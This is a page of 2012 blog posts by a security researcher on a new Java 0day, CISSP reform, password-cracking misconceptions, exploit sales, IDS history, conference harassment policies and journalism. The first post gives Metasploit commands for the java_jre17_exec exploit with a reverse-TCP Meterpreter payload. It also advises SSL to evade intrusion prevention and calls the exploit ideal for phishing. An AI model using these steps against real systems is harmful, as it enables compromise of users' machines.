Monday, August 27, 2012

New Java 0day


In usual 0day style, a Java vuln is available that works on both Windows and Linux as a Metasploit module. I wanted to see for myself. The Windows 7 client didn’t have Java enabled by default so I have to turn it on. Keep in mind this is just a VM I use for testing, not daily use so I don’t have much reason to turn Java on. The Windows 7 exploit worked like a charm. I did 10 tries and got 10 completions. I used the Meterpreter java payload (java/meterpreter/reverse_tcp) and everything worked perfectly with normal security settings. Here are my commands:
msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set LHOST 192.168.1.146
LHOST => 192.168.1.146
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.146:4444
[*] Using URL: http://0.0.0.0:8080/WnYSrT
[*]  Local IP: http://192.168.1.146:8080/WnYSrT
[*] Server started.
msf  exploit(java_jre17_exec) >
And its raining shells:
What it looks like on the Win7 machine.
Getting Victim information with Meterpreter
I tried it on Ubuntu 12.04 Linux that is fully patched. I had to remove the default OpenJRE and then downlad and install the Oracle one. The install took longer than the owning (https://sites.google.com/site/easylinuxtipsproject/java).

Getting Linux Victim Info
The Linux users view is much like the Windows user view.
Another 10 for 10. This is a high quality exploit that I expect to get a lot of use out of! I tried it on OSX and it doesn't work out of the box completely. It looks like the exploit is getting triggered but not getting a shell. In the process list you can see a shell being started but I can't get it to connect to anything. For this, I also had to update my JRE as the one installed was 1.6 and it doesn't seem vulnerable. 
UPDATE 8/27/2012 2:20EST:
This exploit works on OSX if you are running the 1.7 JRE. It wasn't working for me at first because I thought I had updated it but the browser plugin was still running 1.6. After fixing that the exploit ran fine! I tested it on Firefox 14.0.1 and Safari 6.0 on OSX 10.8. The only weirdness is Meterpreter would show any processes and when you run a shell you get no prompt. I first noticed these oddities when I wrote the Apple wireless exploit and burned a ton of time trying to figure out why. I just learned to accept it.

So to be clear I have tested the following operating systems: Windows7, Ubuntu 12.04, OSX 10.8.1.
I have tested the following browsers: Firefox 14.0.1 (Windows, Linux,OSX), IE 9, Safari 6.
They same exploit worked on all of them. The configuration I used to test would be caught by a IPS with good rules. If you just enable the Metasploit built-in SSL options an IPS would be blinded to this. I have tried two different desktop protection suites from McAfee and Symantec. Neither stopped the threat, but then again,, they really aren't designed to. This is a perfect exploit to use for phishing, or target social media users with.
My Safari version.
Safari looks as bad as Firefox in this case.

Getting victim info.

Shell Weirdness.
 UPDATE 8/27/2012 3:27EST:
Here is a BurpSuite view of the Metasploit request. As you can see its quiet simple. However if I were attacking you I would have this SSL encrypted. Network tools can't blacklist an app that they can't see.
BurpSuite view of the Metasploit request.

Also despite some earlier claims, the vuln does indeed work on Chrome. I tried in on Win7 with Chrome 21.0.1180.83.
Chromse displaying the now infamous "blank page"

Pulling info out about the victim. Chrome is the only browser running in the process list.
 UPDATE 8/27/2012 3:51EST:
This exploit is awesome. Its not a buffer overflow or anything like that, it uses a flaw in the JRE design that allows a Java app to change its own secuiryt settings with reflection.

You can see the Metasploit code here.

The init function first calls disableSecurity(). disableSecurity sets up a new security manager that gives an applet local premissions meaning it can read, write and execute to the filesystem. disableSecurity() will then call SetField that will change replace the exisiting security manager with the new one created with local permissions. The Metasploit exploit uses the sun.awt.SunToolKit class as the victim of the security manager switch-er-roo. sun.awt.SunToolKit is used for drawing guis and such. This is nothing strange for a Java app. Once the app is run and the permissions are changed the applet is free to execute the Metasploit platform independent payload.

This is as about a bad a bug as I've ever seen. I am going to check 1.6 and see if it is present there.

Friday, August 24, 2012

These guys want to reform the ISC2/CISSP

The best known professional certification in cybersecurity is the “CISSP” (by the (ISC)² organization), but it’s horrible. The test givers are incompetent. The organization is corrupt. Its ethics are unethical. It’s a typical example of rent-seeking behavior rather than a badge of quality. These problems have only gotten worse over the last decade as the organization has resisted reform.

So what should we do about the CISSP? Fight to destroy it? Or fight to reform it?

Well, some erstwhile critics are trying to reform it by getting elected to the (ISC)² board, displacing the incompetent/corrupt boobs who currently sit there. This started last year with the election of Wim Remes (@wimremes), and continues this year with four more:
(1) Boris Sverdlik (@JadedSecurity) [http://jadedsecurity.net/2012/08/22/isc2-bod-vote-2012/]
(2) Dave Lewis (@gattaca) [http://www.liquidmatrix.org/blog/vote-for-dave/]
(3) Chris Nickerson (@indi303) [http://change.isc4thepeople.com/]
(4) Scot Terban (@krypt3ia) [http://krypt3ia.wordpress.com/2012/08/23/isc2-board-candidacy/]

These people are different than the existing board members for two reasons. The first reason is that they are technically competent, “doers” rather than “managers” or “academics”. The second reason is that rather than cheerleaders for (ISC)²/CISSP, they’ve been vocal critics.

Critics are necessary to the health of any organization. The more criticism is resisted, the more group-think sets in, and the more corrupt it gets. That the (ISC)² is run by cheerleaders and ignores critics has been a grave problem.

The more of these five that get elected to the board, the more they will be able to reform it. You can read their petitions for each of their specific platforms, which are actually fairly minor reforms (like transparency and accountability).

I’m not saying that reform is necessarily a good idea; I’d rather destroy the CISSP. But, if you are a member in good standing with the (ISC)² and want to increase the value of your CISSP certification, then you should probably vote for these guys.


Update: more info here: http://www.novainfosecportal.com/2012/08/23/unofficial-isc2-board-petition-central/
Update: By "doer" I mean "somebody with a published body of work". For example, Wim Remes (who got on the board last year) is a "manager", but he is also the only board member which lists "speaker at Blackhat" as part of his bio. It's this published work that makes him a "doer". We can all check out his published works, his podcast, and his twitter feed in order to judge for ourselves whether he's competent. The same can't be said for the other board members, their competency is opaque for us to easily judge.



Wednesday, August 22, 2012

Common misconceptions of password cracking

After this great article on passwords at Ars Technica, I've seen some common misconceptions pop up. I thought I'd clarify them (even though that article adequately covers many of this, people seem to have missed them).


MD5 is broken, use SHA1 instead

MD5 isn’t broken as far as passwords are concerned. Sure, it has “collision” problems, making it unsuitable for signing things (such as certificates), but that really has nothing to do with passwords. Thus, MD4, MD5, SHA1, SHA2, SHA3 are all roughly equally secure as far as passwords are concerned.


Because SHA1 is cryptographic that means it’s secure

Hash functions are designed to be fast, which means they make password cracking fast. But for logins, there is no need to be fast. You want slow algorithms to make password cracking slower. Algorithms, like scrypt, bcrypt, or PBKDF2 will be better for passwords.

In other words, for protecting passwords, a cryptographic algorithm is necessary, but not sufficient.


Rainbow-Tables

Most mentions of Rainbow Tables are a misconception. After every major password breach, like the recent LinkedIn incident, numerous cybersec “experts” make the claim that they “should use salts to stop Rainbow Tables”. That’s nonsense.

In the LinkedIn case, a single 7 letter password can be cracked in minutes, an 8 character password in a day, and a 9 letter password in months. A rainbow-table doesn’t make finding that 7 letter password any faster, and rainbow-tables don’t exist for 9 letter passwords (using upper/lower/digit/symbol). It would only speed cracking of that 8 letter password from a day down to a few minutes. Sure, rainbow-tables help, but not as much as you’d think.

Rainbow-tables have their uses. Bitweasil, for example, is doing some cool things with them (like web-tables and much better GPU acceleration). But mostly when people mention rainbow-tables, it’s because they are repeating a misconception.


Salt is a magic pixie dust to secure passwords (from Steven Alexander)

As mentioned above, salt makes only a small difference stopping rainbow-tables. The major effect it has is stopping that "mass crack", like cracking millions of LinkedIn passwords all at once. But if the hacker is targeting a single password, salt makes little difference at all. Yes, passwords should be salted, but no, don't imagine that it's sufficient. What's far more important is whether they used scrypt, bcrypt, or PBKDF2, not whether they used salt.

Online vs. offline password guessing

When we talk about cracking passwords, we mean “offline” cracking. We mean hacking into a website, stealing their password database, and trying to decrypt the passwords (by guessing potential passwords and seeing if the hashes match).

Guessing passwords online, such as using a tool that sends passwords at the target, means we can guess maybe 100 passwords per second. Guessing offline means doing a BILLION passwords per second.

Moreover, many sites defeat online guessing by disabling access for a time after too many failed attempts. No such mechanism exists for slowing down offline cracking (other than using the scrypt/bcrypt algorithms to slow cracking).


Just as secure as they’ve always been

In the past few years, password crackers have jumped forward a huge amount. They now use GPUs and FPGAs to jump forward a few years ahead of expected Moore’s Law increases. Most importantly, all these massive password dumps like LinkedIn and RockYou have taught crackers what patterns to look for, making their guesses much better. Thus, your password has gotten a lot less secure in the past few years.


Amazon EC2 will defeat passwords

Not really, as I explain here and here.

Brute-forcing passwords is an exponential problem. That means having 100 times more compute power just means you can crack an 8 character password in the time you would’ve taken to crack a 7 character password. It doesn’t mean 100 times better password cracking.

Amazon EC2 economics are not designed for integer compute. The economics are not there. For the average hacker or pentester, a good GPU will be vastly better. Amazon EC2 really only makes sense in an emergency, when you absolutely have to crack something faster than it takes to go to the store and buy up all the GPUs.


GPUs are oodles faster than CPUs

Yes, but not as much as you’d hope. Like I explain above, brute-force cracking is an exponential problem, so doubling your cracking speed has a tiny improvement on effectiveness. Buying the latest GPU is useful, the marginal gains are large for the price, but the marginal benefits of buying even a second GPU are small.


Here’s a password hash; how long will it take you to crack it?

This isn’t how things work. We crackers sort our efforts according to effectiveness. We’ll try the most effective methods first, and if they fail, choose less and less effective methods. If your target chose a secure password, then I’m never going to be able to crack it.

Given a single cryptographic hash algorithm (MD5, SHA1, MD4), it’s a 30% chance I’ll find it in a few minutes, and 90% chance I’ll find it after a couple of days. As time goes on, the chance I’ll find the password keeps going down, so if I haven’t found it after a day, it’s unlikely I’ll discover the password even after a year. (It's a 'long tail' distribution)


Password meters (from Pers Thorsheim)

Many websites have some sort of "password meter" to show the "strength" of your password. While they certainly point out "weak" passwords, just because they claim your password is strong doesn't make it so. Don't believe them.
Links:
http://securitynirvana.blogspot.com/2010/02/never-trust-password-meters.html
http://securitynirvana.blogspot.com/2010/11/revisiting-password-meters.html


Password requirements

Many websites have password requirements, like forcing you to include numeric digits or upper/lower case. These have only limited utility, as many people choose predictable patterns, like appending '1' to the end of the password to meet the requirement.

Curiously, by reducing the search space, such requirements can sometimes help the attacker.

Password strength (from XKCD)


Uncrackable passwords (from XKCD)


Pentesters: Amazon EC2 or GPUs for password cracking?

Q: Should pentesters use Amazon EC2 to crack passwords? A: Probably not.

Tuesday, August 21, 2012

The deal with passwords

Over at Ars Technica, Dan Goodin has written a comprehensive overview of the state-of-the-art of password cracking. Even if you think you understand passwords, you probably have many misconceptions that this article will dispel.

Passwords are far more complex than you think. Take, for example, this comment where somebody points out "MD5 would be an example of a hash algorithm that is no longer secure". Most people agree with that statement, they are all wrong. MD5 is just as good for hashing passwords as SHA1, or whatever appears as SHA3. The weakness MD5 has today is in "collisions", which don't matter for hashing passwords. Moreover, cryptographic hashes are designed to be fast, meaning that password cracking is fast. Better algorithms would be slow, like scrypt, bcrypt, or pbkdf2. A salted password using 10000 iterations of MD5 is still more secure than a single SHA1 hash.

Another issue is the "exponential wall", which is shown in the following graph (CC attribute license):

For brute-forcing passwords, people imagine that GPUs or Amazon EC2 clusters will make a massive difference. As the graph shows, they really don't. Short passwords are trivial to crack, even with the resources of an iPhone. Long passwords are impractical to crack, even with a billion dollar NSA supercomputer.

More hardware can make some difference because most passwords are around 7 to 8 characters, which is right in the sweet spot where added hardware will make a difference. However, what makes a bigger difference is skill, having the right wordlists of known passwords and exploiting patterns in how people choose passwords. A skilled cracker with an iPhone will crack more passwords than you can brute-forcing with an Amazon EC2 cluster. Combining skill with more hardware is even better, because the skilled person knows how to exploit the additional hardware in ways other than simply brute-forcing.

In conclusion, I highly recommend reading Dan's article. It defines the state-of-the-art of password cracking as of 2012.





Monday, August 20, 2012

Sexism vs. Journalism 101


In this cybersec drama [1, 2, 3, 4, 5] a journalist and her editor accuse a critic of sexism, describing the criticisms as yet another example of men talking down to women in technical fields. Is there any merit to the sexism claim?

Probably not.

The critic (Chris Soghoian) accused the journalist (Quinn Norton) of "bad journalism", not technical inadequacy. Attacking her writing was his point, not a sly way of attacking her technical qualifications. Any criticisms of technical information was to demonstrate flaws with journalism, not the other way around.

Moreover, the criticism is true. The editor (Ryan Singel) defends the original story as “good journalism”, but he’s wrong. That story has some clear journalistic problems. It is a one-side piece with flowery language without any objectivity.

Journalism has clearly defined standards. These standards apply regardless of content, whether it is a royal wedding, a pop star overdose, an outbreak of war, or an encrypted chat website. News editors, journalism professors, and other journalists can recognize these standards in writing, and point out the flaws, even if they don’t understand the technical content.

Take, for example, the seventh sentence in the original story:

“But as little as two years ago such a site was considered to be likely impossible to code.”

This sentence has four obvious journalistic flaws. The first is that there is no attribution (who “considered” this?). The second is that it’s “glowing” or hyperbolic language (“impossible”). The third is that it uses weasel words (“likely”). The fourth is that it’s a sweeping generality. Any one of these flaws makes the sentence bad journalism.

This sentence sounds made-up, as if the writer morphed what somebody actually said into something the writer wish they had said. Removing the attribution and converting it to the passive voice means that we no longer know who said it, and thus, can’t verify it. I am a technical expert, I know that sentence is false (Cryptocat could’ve been created with decade old Web 2.0 technology), but my point is that even non-technical journalists can detect something is wrong. When journalists read sentences like that, their “spider sense” starts tingling.

Sure, writers make mistakes, but that’s what editors are for. The story’s editor (Singel) admits to reading the story in-depth. He should’ve caught this sentence. He should’ve corrected it. Thus, this is not only an example of bad journalism, but of bad editing.

If this were the only offending sentence, then it’s excusable. It’s something the author and editor might’ve missed. But it’s not the only example. The original critic (Soghoian) points out many more such sentences. Moreover, it’s not any individual sentence so much as the whole piece.

The editor (Singel) points to the author’s (Norton) “thoughtful, informed, well-sourced pieces” on #Occupy and #Anonymous to support his claim that the author (Norton) is a good journalist. I disagree. I’ve long criticized those pieces for their flowery language, for being partisan without even the pretense of objectivity. The author (Norton) does indeed have some keen insights in those pieces, but I can’t imagine anybody calling those pieces “good journalism”.

The author (Norton) defends herself by saying that her pieces aren’t traditional journalism but “long form, literary non-fiction”. While it’s true this means she’s excused from certain standards like the “inverted pyramid” format, it doesn’t excuse her from the other standards. She still can’t twist information to conveniently fit the story. She should still avoid weasel words and sweeping generalizations. “Literary” doesn’t mean flowery, glowing language. Even by the standard of “advocacy journalism” there are problems with her lack of objectivity.

The point of this blog post is to bring the discussion back to where it belongs, whether the original post is “bad journalism” as its critic (Soghoian) claims. I’ve attempted to lay out my case in a way that can easily be disproved by simply finding independent journalists, editors, or professors who will go on the record saying this isn’t bad journalism. If you can find such independent people to attest to that piece being good (or at least, not bad), then we can discuss whether the sexism charge has merit. But if independent journalists agree that the piece is indeed bad journalism, then the sexism charge is obviously baseless.

Software networks: commodity x86 vs. network processors

“when Alexander saw the breadth of his domain he wept for there were no more worlds to conquer”

The website http://extremetech.com has a great graph showing how commodity Intel x86 processors have overtaken the world, first desktops in the 1980s, then the data center in the 1990s, then supercomputers in the 2000s. So what’s next for Intel to conquer?

There are two answers: mobile (phones, pads) and network appliances. You are probably aware of the first, with the battle raging with Windows8/Android on Intel “Atom” processors competing against ARM processors, but you might not have heard of the second fight.

Tuesday, August 14, 2012

Who will fight for me?

Recently on Dave Aitel's popular mailing list this question was posed:
does the EFF have our best interest at heart? The answer is clearly
no: I think the EFF has lost it's way and I doubt it can be set
correctly.

The catalyst that set off the discussions and this blog post come from
a March EFF blog entitled
"Zero-day exploit sales should be key pointin cyber-security debate".
 For those of you who do not follow US
federal politics, there are a lot of bills in play aimed at cyber
security reform and bringing organizations under the government
umbrella of protection. As someone who distrusts authority, I don't
like this. This increases government meddling in our lives while doing
nearly nothing to actually protect us.

The EFF has made a 180 degree turn on this issue. Originally, the EFF
was founded on libertarian principles of individualism opposing
government regulation, claiming that cyberspace should be sovereign.
Now the EFF wants to collectivize the Internet and impose its "ethics"
on coders, claiming we have a moral obligation hand over 0day
vulnerabilities for the common good.

That statement is beyond naive and shows a lack of understanding of
the process used to find vulns. Vulns are discovered because people
are looking for them. People look for them because they expect to be
rewarded. Removing the reward, and we'll no long look for vulns. If
the military stops buying weaponized vulns from researchers like me,
then I stop finding them -- I uninstall WinDbg and ignore program
crashes instead of spending two days trying to reproduce the problem
and weaponize an exploit.

These exploits are the munition of choice for the upcoming cyberwar.
The EFF naively believes in unilateral disarmament, that the US stops
buying these weapons even though Russia, China, Israel, North Korea,
and Iran continue. It's irrational to believe this makes the Internet
"safer".

In a related argument, the EFF describes exploit sales as "security
for the 1%" using the ugly class warfare rhetoric of the #Occupy
movement. It's a paranoid conspiracy theory that bankers are out to
get you, and it's a paranoid conspiracy theory that exploit
sellers/buyers are out to get you. Yes, I know it sucks that some
people have more money than you and more security than you, but
attacking them and curtailing their freedom's won't make you any
better off. The actual selling of weaponized exploits is only a small
part of what vuln discovers do -- the vast majority of our efforts
filters out quickly to everyone else, both to vendors to help them fix
bugs, but also to everyone else to educate them on which products are
more reliable. Sure, people like me do things that you may not like,
but trying to curtail our freedoms will do more to stop the things you
do like.

The big thing the EFF has done with posts is to reduce funding. We
used to unquestioningly support the EFF because they promised to
support freedom of all of us. Now it has become obvious that they
really don't, that they are more of the standard partisan group,
promoting the interests of some at the expense of others. The obvious
basis of the EFF's posts have nothing to do with electronic liberties,
but everything to do with a partisan attack against the American
military specifically.

This was just a long way of saying the EFF is dead to me.

Thursday, August 09, 2012

A bit of IDS history

I saw this tweet go by, and as a creator of a popular IDS (BlackICE aka. Proventia), I thought I'd discuss a bit of the history, as things are a bit more complicated than just that:

From talking to fellow network IDS creators (Marty, Ron, Marcus, Vern), there was never any basis for our work other than "packets". We each built a packet analyzer to look for stuff we were interested in, each building a wildly different architecture in pursuit of wildly differing goals.

IDS is how everyone else described our work, but this was not necessarily the goal we had when starting out. I had code running for years (starting in 1990) before I ever heard the term "intrusion detection system". In much the same way, I called my inline version "inline IDS" before others decided to call it "IPS".

This is not say that the above papers don't deserve credit for coming up with brilliant ideas. They probably do. It's just that I've never read them, and they were not the "basis" for my work.

Likewise, while not the "basis", they probably influenced my work in some ways. Other people read them, creating a mishmash of ideas that probably influenced the direction of my work without me realizing it. Simply the fact that a "syslog" demon exists and that I send events to it means that I'm undoubtedly influenced by whoever invented "syslog".

Consider Marcus's IDS called "NFR". If it's based on anything, it's based on MUDs (multi user dungeons, a type of early text based "game"). He had bits of code lying around for which he repurposed into some totally unrelated bit of code. I use this as the most amusing example, but pretty much all early Internet code was developed with the same sort of model: lurching in unexpected directions rather than being based on a plan.

My own start was in 1990 with my first job out of college working as a generic software programmer for a company that made a product called the "Protolyzer", a protocol analyzer competing against the better known Network Genral "Sniffer". The Protolyzer's unique features was that it had a graphical user interface (based on OS/2) when all competing tools were text based.

Among my duties was to create "addons" for that plugged into the Protolyzer to look for interesting stuff other than simply decoding packets. A lot of these addons were to diagnose network faults. Others were related to security. Since these addons could act as filters, the Protolyzer had primitive "IPS" capability, in that it could capture, filter out security events (namely ARP spoofing), and retransmit.

The company was then bought by Network General and the technology folded into the Sniffer, and largely died. I tried to interest the company in resurrecting it in a Version 2.0 form that I had come up with using "streaming state-machines". You see, all previous protocol analysis was done at the level of "packets" or "packet payloads". My design was to use the TCP "stream" as the atomic unit, and instead of buffering packets to reassemble them into buffers, to parse the stream using a state-machine.

This is actually a pretty common technology now, and the basis for most network IDS/IPS, but back then it was unique.

But Network General wasn't interested, so in 1998 when Network General merged with McAfee Associates to form Network Associates, I left to found my own company and implement my technology. The result was "BlackICE", the first intrusion prevention system, now sold as IBM Proventia (ISS acquired my company in 2001, then IBM acquired ISS in 2006).

The point of this story is to describe what my stuff was "based on". It was based upon my experience with hacking computers, and based upon my experience in analyzing packets. Indeed, I probably would have done a better job had I read more academic papers. For example, I "invented" my own multi-pattern matching system that, as it turns it, is just the Aho-Corasick algorithm. I would have saved a lot of time and effort had I just studied a bit better.

Conclusion

I'm not trying to diminish earlier works, or praise us early IDS inventors for inventing everything ourselves. Instead, I'm trying to describe how things were messy, how we didn't really follow a plan, didn't really "base" our work on anything, and how we are as surprised as everyone else how things turned out.

Also, I don't want to put words in the mouths of Vern, Marcus, Marty, or Ron (which is why I only use first names so that it may be hard for you to identify them), so much as tell my own story. They will undoubtedly have very different stories if you talk to them. (I'm eagerly awaiting a comment from Marcus correcting my interpretation).

So in short, while IDS may indeed be "based" on earlier things, the path to get there is "complicated".


Updates:

Wednesday, August 08, 2012

An Anti Sexual Harassment Policy

In a previous post, I criticize militant sexual harassment policies for conventions like Defcon, and suggest a more polite alternative. A copy of this policy is below:

No, "hacker" really does mean "hacker"

The earliest known use of "computer hacker" in the press described a criminal act:
Many telephone services have been curtailed because of so-called hackers, according to Prof. Carlton Tucker, administrator of the Institute phone system. … The hackers have accomplished such things as tying up all the tie-lines between Harvard and MIT, or making long-distance calls by charging them to a local radar installation. One method involved connecting the PDP-1 computer to the phone system to search the lines until a dial tone, indicating an outside line, was found. … Because of the “hacking,” the majority of the MIT phones are “trapped.”
-- 1963-11-20 The Tech, (MIT student newspaper)

This isn't new information (other references from 2008 here and here), but I thought I'd point it out again since people continue to claim that "hacker doesn't mean criminal -- use cracker instead". There is no justification for that claim. Yes, "computer hacker" has always had the non-pejorative meaning "enthusiastic nerd", but it's also always been used to connote something nefarious; it's never been true that the prejorative sense is "wrong".

Although, the first use of the word doesn't matter too much. What matters is what people mean to say when they use the word, and how people interpret the word when they hear it. If people think "criminal" when they hear the word "hacker", then that's what it "means", no matter what the original definition says, no matter what dictionaries say, no matter what ESR says. Since the popular usage indeed implies somewhat criminal behavior, then that's what the word "hacker" means, and there's nothing you can do about it.

The thing is, "hacker" will always carry a negative connotation, in exactly the same way that "banker" or "CEO" has a negative connotation in many people's minds. Those who wield power are distrusted. An even better example is the word "witch", which will always carry a negative connotation despite the J.K. Rowlings attempt to rehabilitate the word. Those who wield "magic" will always be viewed with suspicion, hackers wield magic, hence "hacker" will always carry this special connotation.

Tuesday, August 07, 2012

Sexual harassment policies: education please, not threats

There is a problem with sexual harassment at cybersec/hacking conferences like Defcon. Women stay away because of this. I’m sure most all of us agree this is a bad thing.

But that doesn’t mean we all agree on the solution. In particular, I’m highly offended by the angry solutions that infantilize both men and women. Such policies go too far trying to address minor issues, but don’t address other important issues.

Men aren’t trying to harass women. No man goes to a conference intending to harass women. Instead, it’s a side effect men are unaware of. Policies should be about educating people as to the consequence of their actions, not about threats and punishment. Exhibitor “booth babes” and presenter’s sexualized imagery are good examples: people do it because they see other people do it, and don’t understand what’s wrong with it. If they know people are offended, they are happy to stop. All you need to do is tell them that it’s undesirable – you don’t need threats.

Harassment happens in a myriad of ways that conference organizers are powerless to stop. For example, you might be out with a group of people at night and a guy creeps up on you, starting with shaking your hand, then touching your shoulder, then touching your hair, then groping you. The problem with this is that it’s a dirty creepy mess. The guy was using the “boil the frog” strategy leaving you confused as to where to draw the line, as you suddenly find yourself in a social situation that you realize you should’ve put a stop to several steps back. Thus, you are left with an unhappy experience questioning yourself as to what you should’ve done, with nothing to go complain to the conference organizers about. This will leave you less likely to want to attend the next con, but it’s not something threats or punishments by the conference organizers can “fix”.

Education is a better solution to this than threats. Men should be told that just because she hasn’t slapped you doesn’t mean she’s in to you, it just means she is in a social situation she's had little experience with.

The thing about hostile, threatening policies is that they discourage legitimate speech. People become scared and go too far censoring themselves. It becomes something that can be exploited by the disgruntled to censor things that have little to do with sexual harassment. As a guy, I don’t see the cases of sexual harassment that I know exists (from reliable reports), but what I do see is the frequent exploitation of anti-harassment policies.

So here is how to write an anti-harassment policy: assume the reader agrees with you. This means threats, punishments, and other hostile language isn’t needed. Fill it full of specific examples from past cons to demonstrate the sort of thing you don’t want at your con. Help the reader understand where the limit is.

The BruCon anti-harassment policy is a great example of how not to have a policy (well, their first version based on one at Ada Initiative, it may be edited by now). It does little to educate those who don’t know they are doing things wrong, and yet threatens dire punishments to those who really care, so that they might go overboard on self-censoring themselves. It creates a hostile environment for everyone, even before the con starts.


Update: Erich Simmers has some good context and conversation about this post here: https://weaponizedculture.wordpress.com/2012/08/08/sexual-harassment-at-hacker-cons-and-what-to-do-about-it/



Update: Such militant policies regularly lead to restrictions on free expression. A good example is the case of James Miller, a theatre professor at the University of Wisconsin. He had a poster from the cult TV show Firefly outside his door with quote form the show: "You don't know me, son, so let me explain this to you once: If I ever kill you, you'll be awake. You'll be facing me. And you'll be armed.". Campus authorities took down the poster, and threatened Miller with criminal charges if he posted anything like that again.

In response, he put up a poster showing a cartoon image of a cop beating a protester with the caption "Warning: Facism: can cause blunt head trauma and/or violent death. Keep fascism away from children and pets.".

Campus authorities responded by taking this poster down, too, and escalated their threats against Miller.

One of the funniest T-shirts at Defcon contained the text "Use my filesystem or I will fucking kill you", referring to ReiserFS, a Linux filesystem created by Hans Reiser, who was later convicted of killing his wife. This shirt is really funny, yet is exactly the sort of shirt that whiney crybabies will go conference staff to complain how they feel threatened.

Stringent, "no tolerance" policies against bullying, threats, and harassment necessarily mean attacks on freedom of expression. We should oppose them, especially when less stringent alternatives are available.




Update: Some have said "so what would your anti-harassment policy be?". Ok, here is one below. Notice I use the word "please" instead of threats:


Exhibitors: Please, no "booth babes" or otherwise using sex to promote your products.
Speakers: No offensive jokes, especially those that might offend the opposite sex. No pornographic images. No sexualized images or content, unless relevant to the talk. If in doubt about appropriateness, please discuss with conference staff ahead of time.
Attendees: Please be aware that there is an enormous male-to-female sex ratio, with the consequence that females feel harassed by too much unwanted male attention, making the con experience particularly unpleasant for them. Do not "grope" or touch women in inappropriate places; one would think we shouldn't have to ask, but apparently, this happens often enough that we do. Be aware that just because a woman hasn't forcibly turned you down is that it's because she's trying to be polite, having expected to be treated as a colleague at a technical conference rather than a conquest at a bar. Please be especially aware of this when drinking, as your judgement is highly impaired: it's certain that if you are having a real good time, that lady you just met isn't. Not having maced you yet should not be treated as an invitation.
Ladies: It's horribly unfair to ask anything of you in order to be treated as a human being, but there are three things. First, please feel free to be rude -- these creeps are usually thick headed rather than malicious. Second, most people around are civilized, and saying things like "get this creep off me" should get others to come to your aid. Third, please contact conference staff about any concerns in order to make this (and future) conferences less hostile, especially by identifying creeps that we can kick out of this (and future) conferences.



Update: This "sexism at cons" was recently popularized by @kdotcdot with her post about carding creeps. She enthusiastically supports the BruCon policy. Of course she does: she claims to be an anarchist, an ironic political philosophy that typically supports fascist rules. I'm a different sort of "anarchist", which is to say, a libertarian who supports fewer (and nicer) rules, rather than more fascist rules.

Review: "Virtually True" by Adam Penenberg

Adam Penenberg was a tech writer for Forbes during the dot-com craze, famous for the Stephen Glass affair, and is now a journalism professor. He recently published a "cyberpunk" novel called "Virtually True", so I thought I'd write a review of it.
This book is very Gibson-esque (written in the style of William Gibson's Neuromancer). This is both a compliment and a criticism. On one hand, if you like cyberpunk, then this is very much the sort of cyberpunk book you are looking for. On the other hand, it sometimes feels too much like a copy of Gibson's work. 
The beginning is a bit more confusing than the average cyberpunk (a genre known for being confusing). The middle bogs down, and much of it can safely be skipped. But the end is satisfying. It's "pulp cyberpunk" -- not the best example of the art, but still interesting because there are so few works in the genre, most of which are out of date (Penenberg's characters communicate via cell phone technology and look things up on the web, things missing from older cyberpunk). 
An interesting thing about the book is that the main character is a journalist, with the author being a journalist. Thus, it's a bit autobiographical, showing you how journalists see the world. The Internet is remaking journalism by driving down the cost of content (and hence, throwing journalists out of work), and this book reflects how journalists feel a bit downtrodden at the moment.
I wasn't particularly thrilled with the book, but people who read cyberpunk are an odd lot, so there's a good chance many will thoroughly enjoy it.

Sunday, August 05, 2012

Learn to read Wikipedia! Part 2

In my last post, I pointed out how you should check your facts by reading Wikipedia. In that case, it was about the Colorado Batman shooting, which was already a couple weeks old. The same applies to the Wisconsin Sikh temple shooting, which is only hours old. I googled "wikipedia 2012 shooting sikh" and came up with http://en.wikipedia.org/wiki/Wisconsin_Sikh_Temple_Shooting. The content is brief, because very little is known as this point. We don't know who the gunman was or why he did it. Presumably, in the next day, we'll discover the identity of the gunman, which will presumably lead to hints as to his motivation.

What's interesting about the Wikipedia article is that it just contains the facts. Contrast to this to the nonsense on "real news" outlets like CNN, which first confused Sikhs with Muslims/Hindus, then apologized for the mistake and mentioned how unfair it was that Sikhs are murdered on the mistaken belief that they are Muslims, and then apologized again for implying that Muslims deserve to be shot. (I don't know this first hand -- but this is what my Twitter feed is reporting about CNN's reporting). The known facts are few, but that doesn't stop CNN from doing it's best to fill out the "reporting" anyway.

TV news like CNN has been under fire recently from the likes of Jon Stewart ("The Daily Show") and Aaron Sorkin ("The Newsroom"), though neither present reasonable alternatives (well, Sorkin does present an alternative, just one that discards the most important ethics of journalistic impartiality).

I'm not sure criticism like this is warranted. People tune into CNN either for the breaking news or entertainment. Once CNN breaks the news with so little facts, they've really got nothing better to do than sit their twiddling their thumbs.

I think the mistake is to believe that CNN should even be considered "real news". Wikipedia is an excellent source, so are written sources like The Economist. They have problems, but their worst is still better than the best of TV news. Rather than trying to reform TV news, I think we just start ignoring it -- except as a source of entertainment.

Wednesday, August 01, 2012

Learn to read Wikipedia!

Unusual events like the Colorado shooting bring out the stupid in people. A good example is this Schneier link to a horrible article on Slate that attempts to refute gun advocates by pointing out the shooter had body armor.

Except the shooter didn't have any significant body armor. He had a combat vest whose purpose is to hold extra magazines. I can't find a single source confirming that he was wearing metal plates that would've stopped a bullet.

Refuting this nonsense is what Wikipedia is for. It says (as of 2012-08-01): "He was dressed in black and wore a gas mask, a load-bearing vest, a ballistic helmet, bullet-resistant leggings, a throat protector, a groin protector and tactical gloves". A bullet-proof vest isn't in the list, and none of the other items would've stopped a bullet either. At most, they might provide some protection against a knife if the theater goers had mobbed the shooter.

Moreover, as the Wikipedia article on bullet-proof vests, they aren't really bullet-proof. They are resistant to bullets and help improve survivability. They don't allow you to continue firing into a theatre while getting hit by bullets from victims firing back. Getting shot by a .45 calibre stops whatever you are doing, regardless of the armor you are wearing (Update: or maybe not, see comment below).

I'm not trying to argue gun control in this post, I'm trying to promote Wikipedia. When unusual things happen, information is sketchy, so people twist the information to fit whatever they want. In our industry, this could be power blackouts, Chinese hackers, undersea cable cuts, and so on.

Whenever the argument is too perfect, and the evidence they cite fits too well, it's time to check Wikipedia. They are probably making it up, as William Saletan did in his Slate piece claiming the guy had SWAT gear. Even if you agree with the conclusion, double check on Wikipedia before repeating it to avoid sounding like an idiot.


